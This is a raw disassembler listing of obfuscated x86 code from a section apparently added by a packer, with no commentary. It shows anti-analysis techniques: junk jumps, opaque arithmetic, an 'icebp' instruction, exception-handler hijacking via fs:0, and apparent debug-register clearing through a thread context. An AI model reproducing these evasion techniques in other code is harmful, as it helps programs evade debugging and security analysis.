loc_4391E8: ; CODE XREF: sub_43F7BD+6j mov byte ptr [ebx], 87h pop ebx xchg ecx, [esp-4+arg_0] mov esi, ecx pop ecx loc_4391F2: ; DATA XREF: sub_43F7BD+1o inc edx sbb al, 24h mov esi, ebx pop ebx jmp loc_43994E ; END OF FUNCTION CHUNK FOR sub_43F7BD ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4391FF: ; CODE XREF: _802izwe5:00438FF9j jl loc_438E7E jnz loc_4383BA pushf or ebp, edi jmp loc_43D3AA ; --------------------------------------------------------------------------- unk_439213 db 0 ; CODE XREF: _802izwe5:loc_43E255j ; --------------------------------------------------------------------------- add [ecx+4C1h], eax add bh, al add ecx, esi fadd dword ptr [ebx+0] xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439226: ; CODE XREF: sub_439ED1+A28j jmp loc_43EAFD ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dword_43922C dd 0FF646700h, 67000036h, 268964h, 1F8CE900h, 3C60000h dd 0C6C15B9Ch, 18CFE81Eh, 0 ; --------------------------------------------------------------------------- shl ebx, 6 push 55FCF814h ja loc_437ECE pop dword ptr fs:0 jmp loc_43773A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F734 loc_439267: ; CODE XREF: sub_43F734+14j cmp edx, 11EF2C1h jmp loc_438F65 ; END OF FUNCTION CHUNK FOR sub_43F734 ; --------------------------------------------------------------------------- loc_439272: ; CODE XREF: _802izwe5:0043F872j shr ebp, 1 push ebx loc_439275: ; DATA XREF: sub_439ED1:loc_43A4EEo pop dword ptr fs:0 xchg eax, [esp] pop eax add edi, 0E6ACF978h jmp loc_43DFB0 ; --------------------------------------------------------------------------- dw 0F000h ; --------------------------------------------------------------------------- icebp jmp loc_43D4C2 ; --------------------------------------------------------------------------- align 4 dd 5B76830Fh, 0FD810000h, 2370A842h, 0FFF8E6E9h, 7D880FFFh dd 9900005Ah, 0FFED75E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4392B2: ; CODE XREF: sub_439ED1+483j xchg eax, [esp-18h+arg_10] mov ecx, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- jmp loc_43E58A ; --------------------------------------------------------------------------- dw 6467h dd 36FFh, 26896467h, 0EE90000h, 23FFFFE8h, 80E381FAh, 89AF50E2h dd 0F4ACE910h, 0FFFFh, 0CE8F6857h, 815FEAE9h, 4262CBCFh dd 4EE78129h, 0E9C8F4A6h, 997h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4392FA: ; CODE XREF: sub_439ED1:loc_439FF8j push offset word_43E466 jmp loc_439C47 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0C2230000h, 1954E9h, 0D0E28100h, 0C1824F8Dh, 68510EC2h ; CODE XREF: sub_43C155+Fj dd 437FAD1Ah, 0FFECE0E9h, 0F0000FFh, 0D7D83h, 0E9F38B00h dd 0D09h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439331: ; CODE XREF: sub_439ED1:loc_43A671j jp loc_43EFA8 add ebp, 0D432B3F6h jmp loc_43EEAE ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F990 loc_439343: ; CODE XREF: sub_43F990+6j mov fs:0, esp jmp near ptr word_43A54E ; END OF FUNCTION CHUNK FOR sub_43F990 ; --------------------------------------------------------------------------- align 10h mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43DDF6 ; --------------------------------------------------------------------------- align 4 dword_439368 dd 0C181C033h, 4, 0A76E8h, 51000000h, 32FFE9h, 0C7C10000h ; DATA XREF: sub_43C65A:loc_43C743o dd 0CCCF8115h, 811F58D1h, 0FBDBE9F7h, 5FC7033Fh, 68EE8h dd 0E9000000h, 49AFh, 8B0F0000h, 5986h, 4E9CE9h, 0A0FB6800h dd 20E90043h, 68000056h, 43A294h, 3F06E9h, 5ECE0300h, 96C001C7h dd 0C0330043h, 0E9241487h, 21BAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4393D2: ; DATA XREF: sub_439ED1:loc_43A989o call sub_43FB96 push offset byte_43B15C jmp locret_43A20C ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4393E2 proc near ; CODE XREF: sub_43BAEA-4146p ; FUNCTION CHUNK AT 0043C5DA SIZE 0000000A BYTES xchg esi, [esp+0] pop esi add eax, 7716302Bh add eax, ebp add eax, 8CFF67CAh mov eax, [eax] jmp loc_43C5DA sub_4393E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dd 5CC081C5h, 4C17DADEh, 0C9E800h, 0DFE90000h db 5, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E22A loc_43940F: ; CODE XREF: sub_43E22A-6211j db 65h icebp push 0C49BAFBCh rol edi, 6 jmp loc_43DE14 ; END OF FUNCTION CHUNK FOR sub_43E22A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43941F: ; CODE XREF: sub_439ED1+215Dj mov eax, ebp pop ebp add eax, 8E4405F3h sub eax, 19DF861Dh rol eax, 5 add eax, 4E522271h add eax, ebp jmp loc_43BFCB ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 5300h ; --------------------------------------------------------------------------- mov ebx, ecx xchg ebx, [esp] jmp loc_43868E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43944A: ; CODE XREF: sub_439ED1:loc_43EF84j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43BEB1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h dd 0C015FF00h, 52004270h, 0FFF5C9E8h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_43946E: ; CODE XREF: sub_43F3B2-1D63j jmp loc_4388BB ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; --------------------------------------------------------------------------- loc_439473: ; CODE XREF: _802izwe5:loc_43EF4Cj sub esi, 4FA46B0Ch add esi, 0FF4E7FA4h and esi, 0D79A9C0Ah or esi, 0C3B626E3h ; --------------------------------------------------------------------------- db 81h db 0C6h ; Æ db 0CDh ; Í db 14h db 3Dh ; = ; --------------------------------------------------------------------------- retf 0F5E4h ; DATA XREF: sub_439ED1+98Bo ; --------------------------------------------------------------------------- jmp loc_43EE43 ; --------------------------------------------------------------------------- loc_439498: ; CODE XREF: _802izwe5:loc_43EE1Fj mov eax, esi pop esi call near ptr sub_4382E8 ; --------------------------------------------------------------------------- dd 0B8E90000h, 1 ; CODE XREF: sub_439ED1+421Dj db 0 ; --------------------------------------------------------------------------- loc_4394A9: ; CODE XREF: _802izwe5:0043E6A1j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_43E8DE ; --------------------------------------------------------------------------- locret_4394C4: ; CODE XREF: _802izwe5:0043E9D3j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_4394C5: ; CODE XREF: sub_43DA03:loc_43B22Fj jmp loc_4395EB ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- align 4 loc_4394CC: ; CODE XREF: _802izwe5:004383D4j jmp loc_43B130 ; --------------------------------------------------------------------------- db 2 dup(0), 67h dd 36FF64h, 89646700h, 0E9000026h, 434Ah, 0C3590000h, 1845E9h dd 95E90000h, 0FFFFF2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E3D6 loc_4394F4: ; CODE XREF: sub_43E3D6-6748j jmp loc_43EC1C ; END OF FUNCTION CHUNK FOR sub_43E3D6 ; --------------------------------------------------------------------------- db 2 dup(0), 68h dd 0E51F69FAh, 0FD27E858h, 6BE9FFFFh, 0C100005Eh, 0DA3B06EEh dd 63BCE9h, 8B000000h, 0E916892Ah, 1249h db 2 dup(0) word_439522 dw 1D68h ; DATA XREF: sub_43F18B:loc_437FB9o dd 0E90043DBh, 0FFFFEF5Eh, 37F3E951h, 81000000h, 81F80CE7h ; --------------------------------------------------------------------------- das loc_439539: ; DATA XREF: sub_439ED1+18A2o pop dword ptr fs:0 xchg eax, [esp] pop eax push ebx mov ebx, ebp push offset dword_43A658 jmp locret_43C47C ; --------------------------------------------------------------------------- dd 241C8700h, 8B243C87h, 55E95FDFh db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_43955F: ; CODE XREF: _802izwe5:00437D50j add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 jmp loc_438563 ; --------------------------------------------------------------------------- align 4 push ecx jmp loc_437CBC ; --------------------------------------------------------------------------- test ebx, edx jmp loc_43CD00 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_43958E: ; CODE XREF: sub_43BE3C:loc_439171j mov ebx, esi xchg ebx, [esp+0] push 0EE2973BDh pop esi jmp loc_439999 ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- sbb ebx, edi jmp loc_43960C ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4395A7: ; CODE XREF: sub_439ED1+CDEj mov ecx, esp push eax push 0E1DD692Dh pop eax jmp loc_43BE28 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- add ecx, 5F33809Fh shl edx, 5 xor ecx, 393E6B2Eh push offset sub_438A6E jmp loc_43AD35 ; --------------------------------------------------------------------------- align 10h dd 20318B0Fh, 0C2C10000h, 0B521BB09h, 0FD0BAD02h, 753ABF57h dd 3EE90043h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_4395EB: ; CODE XREF: sub_43DA03:loc_4394C5j xchg ebp, [esp+4+var_4] mov ecx, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- jmp loc_43EB39 ; --------------------------------------------------------------------------- loc_4395F7: ; CODE XREF: _802izwe5:loc_43BEABj push dword ptr fs:0 mov fs:0, esp ; --------------------------------------------------------------------------- db 3Eh db 0CCh ; --------------------------------------------------------------------------- jmp loc_43C48D ; --------------------------------------------------------------------------- align 4 loc_43960C: ; CODE XREF: _802izwe5:004395A0j push 0F23C6567h pop dword ptr fs:0 xchg eax, [esp] pop eax push 5E25139Fh pop eax and eax, 50C9287Dh call sub_43C109 sub esi, 81290F9Ah jmp loc_43F4E0 ; --------------------------------------------------------------------------- align 4 db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_43963B: ; CODE XREF: _802izwe5:loc_43E223j mov byte ptr [ebx], 87h pop ebx pop ebx enter 2434h, 8Bh out dx, al jmp loc_43DFA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43964A: ; CODE XREF: sub_43C65A+955j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43CAB0 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 8Bh db 0CCh db 81h, 0C1h, 10h dd 8B000000h, 622DE809h, 0 dd 0C181CC8Bh, 10h, 1C7098Bh, 10013h, 0FFF672E9h, 810000FFh dd 29C755E7h, 1D86E922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_439692: ; CODE XREF: _802izwe5:loc_43F85Dj jnz loc_43A954 ; --------------------------------------------------------------------------- dd 68E90000h, 37h, 0FD99E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4396A8: ; CODE XREF: sub_439ED1+2F30j jmp loc_43AE3F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- test ecx, 24D62635h jmp loc_43A948 ; --------------------------------------------------------------------------- dd 840F9900h, 0FFFFF38Eh, 68F6467h, 4870000h, 24348724h dd 29E9C68Bh, 23h db 0 ; --------------------------------------------------------------------------- loc_4396D5: ; CODE XREF: _802izwe5:loc_43CF35j push offset loc_43AD16 jmp locret_43AD01 ; --------------------------------------------------------------------------- align 10h dd 5CD26800h, 0AAE9E795h, 5Dh db 0 ; =============== S U B R O U T I N E ======================================= sub_4396ED proc near ; CODE XREF: sub_439ED1-19FCp ; FUNCTION CHUNK AT 00439C42 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push offset loc_43ABF4 jmp loc_439C42 sub_4396ED endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4396FF: ; CODE XREF: sub_439ED1+3BC6j jmp loc_437C24 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 5CD2E900h, 0 dd 0FFF2F8E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] align 4 loc_439714: ; DATA XREF: sub_438026+300o pop edi inc dword ptr [ebp-10h] jmp loc_43A624 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_43971E proc near ; CODE XREF: sub_439ED1:loc_43B5BFj push ebx jmp loc_43DAB8 sub_43971E endp ; --------------------------------------------------------------------------- dd 0E0810000h, 0E6069DD3h, 0FFF9A1E9h, 0F0000FFh, 0FFE18987h ; CODE XREF: _802izwe5:loc_43F61Cj dd 943E9FFh, 0ED810000h, 0EC78E582h, 83E9DD0Bh db 5Dh, 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43974E: ; CODE XREF: sub_439ED1+5676j jmp loc_4384EA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 37B3E900h, 0 ; CODE XREF: sub_439ED1+38D6j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43975C: ; CODE XREF: sub_43C65A+DFj jmp loc_43B6C5 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 loc_439762: ; CODE XREF: _802izwe5:004389C8j cmp eax, 6C239F36h jmp near ptr dword_437F38+0Eh ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 4E4B52F0h, 0E685775h, 5FFAFFC1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43977C: ; CODE XREF: sub_439ED1+58Fj or edi, 3B128B32h xor edi, 0C6EA1EAh and edi, 0E4E49C09h add edi, 1BC3DAF1h jmp loc_43A5D1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 loc_43979A: ; CODE XREF: _802izwe5:loc_43CB93j mov [ecx], eax xchg ebx, [esp] mov ecx, ebx call near ptr sub_43F688 add cl, ch ; CODE XREF: sub_439ED1+1454j jmp short near ptr sub_4397E9+2 ; --------------------------------------------------------------------------- align 4 dd 0FA810000h, 0BDB0E6C6h, 21CDE9h, 0E9510000h, 0FFFFE0AFh dd 5F3C07C6h, 2B67E8h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437DA2 loc_4397CB: ; CODE XREF: sub_437DA2+6FE1j jmp loc_43A4AB ; END OF FUNCTION CHUNK FOR sub_437DA2 ; --------------------------------------------------------------------------- dd 0D9FCE900h, 0E900FFFFh, 0FFFFE134h, 0F158E900h, 63E9FFFFh dd 0FFFFDCh db 0 ; =============== S U B R O U T I N E ======================================= sub_4397E9 proc near ; CODE XREF: _802izwe5:0043D20Fj ; sub_43844A:loc_43DD7Dp ... xchg eax, [esp+0] xchg edx, [esp+0] mov eax, edx pop edx loc_4397F2: ; CODE XREF: _802izwe5:loc_43F21Dj push 8BE3841Ah jmp loc_43AB3F sub_4397E9 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4397FE: ; CODE XREF: sub_439ED1+14C0j jl loc_43C947 jmp locret_43A202 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h ; CODE XREF: _802izwe5:0043D840j dd 249Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_439810: ; CODE XREF: sub_43C65A+120j jmp loc_43AC0A ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 jmp loc_43E55D ; --------------------------------------------------------------------------- align 4 jmp loc_438216 ; --------------------------------------------------------------------------- align 2 dw 78E9h dd 85FFFFE0h, 0F33BE9F0h, 5100FFFFh, 457FE9h, 81000000h dd 0BCEFAC2h, 0E5F2817Bh, 818E00CBh, 1BAB9EAh, 0B4F2819Bh dd 9D548813h, 8B5ACA03h, 4822E909h db 3 dup(0) ; --------------------------------------------------------------------------- loc_43985B: ; CODE XREF: _802izwe5:00438890j ; _802izwe5:0043ED5Bj jmp loc_43D244 ; --------------------------------------------------------------------------- dd 37D1E800h db 2 dup(0) ; --------------------------------------------------------------------------- loc_439866: ; CODE XREF: _802izwe5:00439EC4j jmp loc_43DD8B ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437E4F loc_43986D: ; CODE XREF: sub_437E4F+Aj jmp loc_43BDCB ; END OF FUNCTION CHUNK FOR sub_437E4F ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439874: ; CODE XREF: sub_439ED1+3FE9j xor esi, 0B04F4C14h add esi, 0B4D6B5B8h or esi, 0E3C97A16h rol esi, 16h test esi, 80h jmp loc_43F846 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0EC8B0000h, 87F28B56h, 0D18B2434h, 45FFE9h, 89000000h dd 24CE8132h, 81DA7749h, 43BCC8E6h, 0E8F681CBh, 9DCA439Ch dd 24BAE9h, 0F6000000h, 0FA49B2Ah, 685h, 0DDCBE900h, 6800FFFFh dd 43CA9Dh, 14ACE9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4398DE: ; CODE XREF: _802izwe5:0043DEE7j pushf push 41CAF6EAh pop eax and eax, 9E4CE7FEh add eax, 0E2584345h rol eax, 8 add eax, 0AAF5C744h jmp near ptr dword_4378E0+9 ; --------------------------------------------------------------------------- align 10h dd 0F7815F00h, 181FB1DDh, 6DF6C781h, 6668B99Dh, 0E90043AEh dd 0FFFFE1F0h, 0E9C30000h, 0FFFFDB0Ah, 0A3C28100h, 899819F3h dd 18AE802h, 0D7E90000h, 13h db 0 ; --------------------------------------------------------------------------- locret_439935: ; CODE XREF: _802izwe5:00438CE8j retn ; --------------------------------------------------------------------------- align 4 dd 0FFFFDDE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43993F: ; CODE XREF: sub_43C65A+4Ej jmp loc_437C64 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439944: ; CODE XREF: sub_439ED1+F04j jmp loc_43E23D ; --------------------------------------------------------------------------- loc_439949: ; CODE XREF: sub_439ED1+882j jmp loc_43AA62 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F7BD loc_43994E: ; CODE XREF: sub_43F7BD-65C5j jmp loc_43AC14 ; END OF FUNCTION CHUNK FOR sub_43F7BD ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439954: ; CODE XREF: sub_439ED1+4223j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43B52C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 xor edx, 88492EEFh add ecx, edx pop edx mov dword ptr [ecx], offset byte_43C589 xor eax, eax xchg ebx, [esp] mov ecx, ebx pop ebx jmp loc_43DF46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_439999: ; CODE XREF: sub_43BE3C-28A3j jmp loc_43EE26 ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43999E: ; CODE XREF: sub_439ED1:loc_43BF43j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax push esi jmp loc_43EDB0 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0C100h dd 0C28108EEh, 0B1419933h, 2908E8h ; CODE XREF: sub_439ED1+3C2Ej db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B481 loc_4399C5: ; CODE XREF: sub_43B481+Cj jmp loc_4384DA ; END OF FUNCTION CHUNK FOR sub_43B481 ; --------------------------------------------------------------------------- push ecx jmp loc_43F8AB ; --------------------------------------------------------------------------- dd 0E9C7D100h, 0FFFFFB5Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4399D8: ; CODE XREF: sub_439ED1+30Cj mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], 437967h xor eax, eax jmp loc_43BBF8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 push ecx jmp loc_43B8B5 ; --------------------------------------------------------------------------- db 87h ; ‡ db 14h db 24h ; $ ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4399F7: ; CODE XREF: sub_439ED1+2A7j pop edx mov dword ptr [ebp-7Dh], 72656767h loc_4399FF: ; DATA XREF: sub_439ED1:loc_43EA67o cdq mov edx, offset byte_439029 jmp loc_43CAF6 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 loc_439A0C: ; CODE XREF: _802izwe5:loc_43EE19j pushf xchg eax, [esp] push ebx call near ptr sub_43E51B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BFFF loc_439A17: ; CODE XREF: sub_43BFFF-3645j jmp loc_43E5B4 ; END OF FUNCTION CHUNK FOR sub_43BFFF ; --------------------------------------------------------------------------- dd 0C5BF0000h, 87F2A4E5h, 505A2414h, 0FFEBEFE9h, 308D0FFFh dd 57h, 4AB3E900h, 81000000h, 9CF57DDFh, 811A89FAh, 0C31B07F0h dd 457AE90Eh, 0 db 87h ; ‡ db 4 db 24h ; $ db 87h ; ‡ db 34h ; 4 db 24h ; $ db 8Bh ; ‹ db 0C6h ; Æ db 5Eh ; ^ db 0E9h ; é db 14h db 0E8h ; è db 0FFh db 0FFh align 10h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439A60: ; CODE XREF: sub_439ED1+B52j xor edx, 0B32BB87Ah add ecx, edx pop edx add [ecx], al push ebx push 4379D2h jmp loc_43D7E7 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_439A76: ; CODE XREF: _802izwe5:0043D374j rol edi, 8 cmp edi, 1DB7DDEDh jmp loc_43CB6D ; --------------------------------------------------------------------------- dd 4870000h, 0C88124h, 87000001h, 909D2404h, 346EE9h, 4C18100h dd 0C7000000h, 43925A01h, 59C03300h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_439AA9: ; CODE XREF: _802izwe5:0043D751j jmp loc_43A9F0 ; --------------------------------------------------------------------------- jmp loc_43E360 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFE95Dh, 36FF6467h, 4BE90000h, 5, 4907870Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_439ACA: ; CODE XREF: sub_439ED1+2E41p xchg eax, [esp] xchg edx, [esp] mov eax, edx pop edx add eax, ebp add eax, 0DC79BD1Ah sub cl, 64h dec esp ; --------------------------------------------------------------------------- db 0 db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43844A loc_439AE3: ; CODE XREF: sub_43844A:loc_43F049j push offset loc_437A8D jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_43844A ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- retn 0A18Ah ; --------------------------------------------------------------------------- mov bh, 70h retf ; --------------------------------------------------------------------------- dw 0E812h dd 1AA5h, 0FFFE1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_439B01: ; CODE XREF: _802izwe5:0043ED9Aj jz loc_43EA09 add cl, ch xchg eax, esp and al, [eax] ; --------------------------------------------------------------------------- dd 5E90000h, 2, 0C281FE03h, 5D293073h, 4EE4E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_439B22: ; CODE XREF: _802izwe5:0043D906j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] add ecx, 9Ch jmp loc_43DDDD ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439B47: ; CODE XREF: sub_439ED1:loc_439F31j adc ebx, ebp jmp near ptr sub_43D6F6 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_439B4F: ; DATA XREF: sub_439ED1+291o pop dword ptr fs:0 xchg eax, [esp] pop eax push ecx jmp loc_43A08F ; --------------------------------------------------------------------------- align 10h dd 0B96ABE00h, 1E90043h, 0FFFFD7h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB2C loc_439B6D: ; CODE XREF: sub_43DB2C:loc_43804Ej xor eax, eax rol ecx, 2 jmp loc_43C4E5 ; END OF FUNCTION CHUNK FOR sub_43DB2C ; --------------------------------------------------------------------------- align 4 dword_439B78 dd 0EDB3F268h, 0C881580Eh, 3AB2183h, 5AA4F081h, 8CE8A558h ; DATA XREF: sub_439ED1+16F4o dd 58h, 1A7D850Fh, 67570000h, 68F64h, 24048700h, 0F045FF58h dd 0F87D83h, 1A11850Fh, 85E90000h, 14h, 18E0C100h, 1F2DE9h dd 0C1F70000h, 0F40E1B46h, 0FFFEFBE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E4D7 loc_439BCB: ; CODE XREF: sub_43E4D7:loc_43B35Dj push offset dword_43B0AC jmp near ptr dword_437340+6Ch ; END OF FUNCTION CHUNK FOR sub_43E4D7 ; --------------------------------------------------------------------------- align 2 loc_439BD6: ; CODE XREF: _802izwe5:004391B6j jnp loc_43E01B push ebx xchg esi, [esp] xchg ebp, [esp] mov esi, ebp pop ebp push 0C1FEA948h push offset sub_43C99E jmp near ptr dword_4373F8+2 ; --------------------------------------------------------------------------- pop ebx sub ebx, 0B75F64DBh and ebx, 0FC7B7059h add ebx, 17F5EC92h jmp loc_4382F8 ; --------------------------------------------------------------------------- loc_439C0D: ; CODE XREF: _802izwe5:0043E28Bj jns loc_43B4DC ; =============== S U B R O U T I N E ======================================= sub_439C13 proc near ; CODE XREF: sub_439ED1:loc_43B398p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx mov byte ptr [edi], 8Bh xchg eax, [esp-4+arg_0] mov edi, eax pop eax rol eax, 16h jmp loc_43AAA2 sub_439C13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0A28F0F00h, 8700005Eh, 5A52E9CAh, 0 ; --------------------------------------------------------------------------- loc_439C38: ; CODE XREF: _802izwe5:0043E76Dj call sub_43BFFF ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439C3D: ; CODE XREF: sub_439ED1+3F6Fj jmp nullsub_41 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4396ED loc_439C42: ; CODE XREF: sub_4396ED+9j jmp nullsub_17 ; END OF FUNCTION CHUNK FOR sub_4396ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439C47: ; CODE XREF: sub_439ED1-BD2j jmp nullsub_5 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; 